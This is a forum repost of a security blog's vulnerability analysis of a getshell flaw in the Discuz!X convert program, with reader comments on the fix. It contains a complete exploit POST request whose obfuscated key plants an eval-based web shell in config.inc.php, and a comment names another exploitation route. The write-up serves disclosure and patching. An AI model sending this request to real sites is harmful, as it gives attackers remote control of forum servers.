Moke|墨客

 找回密码
 立即注册
搜索
查看: 8277|回复: 0

Discuz!X升级/转换程序GETSHELL漏洞分析

[复制链接]

3636

主题

0

回帖

3681

积分

超级版主

Rank: 8Rank: 8

积分
3681
发表于 2016-5-9 13:55:21 | 显示全部楼层 |阅读模式



    0x01 漏洞分析
  漏洞的根源在代码注释中出现换行,导致代码执行,流程如下:
0x0101 首先,从 index.php第30行跟入。

0x0102 do_config_inc.php的第37行,跟入这个save_config_file()函数。

0x0103 gobal.func.php第624行,跟入这个getvars()函数。

0x0104 继续跟入buildarray()这个函数

0x0105 漏洞出现在598行,这个$newline的问题。
  这里因为$key可控,所以$newline可控,当$newline出现或 时,导致BBB可以作为php代码执行。如图所示。

0x02 漏洞利用
  可以构造如下请求:
POST /DZ2/convert/ HTTP/1.1
Host: 192.168.52.129
Proxy-Connection: keep-alive
Content-Length: 925
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
a=config&source=d7.2_x2.0&submit=yes&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&newconfig%5Bsource%5D%5Bdbuser%5D=root&newconfig%5Bsource%5D%5Bdbpw%5D=&newconfig%5Bsource%5D%5Bdbname%5D=discuz&newconfig%5Bsource%5D%5Btablepre%5D=cdb_&newconfig%5Bsource%5D%5Bdbcharset%5D=&newconfig%5Bsource%5D%5Bpconnect%5D=1&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Btarget%5D%5Bdbuser%5D=root&newconfig%5Btarget%5D%5Bdbpw%5D=&newconfig%5Btarget%5D%5Bdbname%5D=discuzx&newconfig%5Btarget%5D%5Btablepre%5D=pre_&newconfig%5Btarget%5D%5Bdbcharset%5D=&newconfig%5Btarget%5D%5Bpconnect%5D=1&submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3  
  发送这段请求直接getshell,恶意代码写入/convert/data/config.inc.php文件当中,如图所示。

0x03 关于修复
  需要在global.func.php文件的buildarray函数中过滤掉$key中的非字母、数字及下划线字符,即添加代码如下:
  如图所示。

  (以上分析仅供学习交流,各DZ!X系列站长勿忘修复!)
  以上为360网站安全中心博客文章,原文:http://loudong.360.cn/blog/view/id/15
<img alt="SosoImg"/>

luwikes2014-02-21 10:07:41  
  建议把以前的修复方案也保留。 比较学习下。

瞌睡龙2014-02-18 10:24:26  
  昨天下午作者看到评论,提供更完整的修复方案!~ 感谢楼上点评 :)

Undoit2014-02-18 10:19:57  
  原来的修复方案不是这样的,原来是只过滤换行符.昨天下午修改成现在这样了

s3cur1ty2014-02-18 09:52:44  
  $key = preg_replace("/[^\w]/","", $key); 这句代码应该可以防住使用 ?> 结束PHP的利用

Undoit2014-02-17 12:20:58  
  360的修复不完全啊

Undoit2014-02-17 12:15:54  
  还有一种利用方式是使用 ?> 结束PHP,再重新写一个

Coner2014-02-17 10:21:17  
  嗯,一个回车符,将原本是注释的部分当做PHP代码写入配置文件,另外写入的代码在key而非value,挺好:) 作者跟踪代码的时候应该是以变量为线索,可是文中叙述时却以函数为主线,你在卖什么药呢?

Creturn2014-02-15 16:00:23  
  xdebug就可以断点单步跟踪
360网站卫士2014-02-15 12:24:57  
  我来顶顶自己人

Ricter2014-02-14 23:25:25  
  代码跟踪确实很爽。 vim下的ctrl+]就可以跳转,但是实时跟踪就跪了。。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

 

 

快速回复 返回顶部 返回列表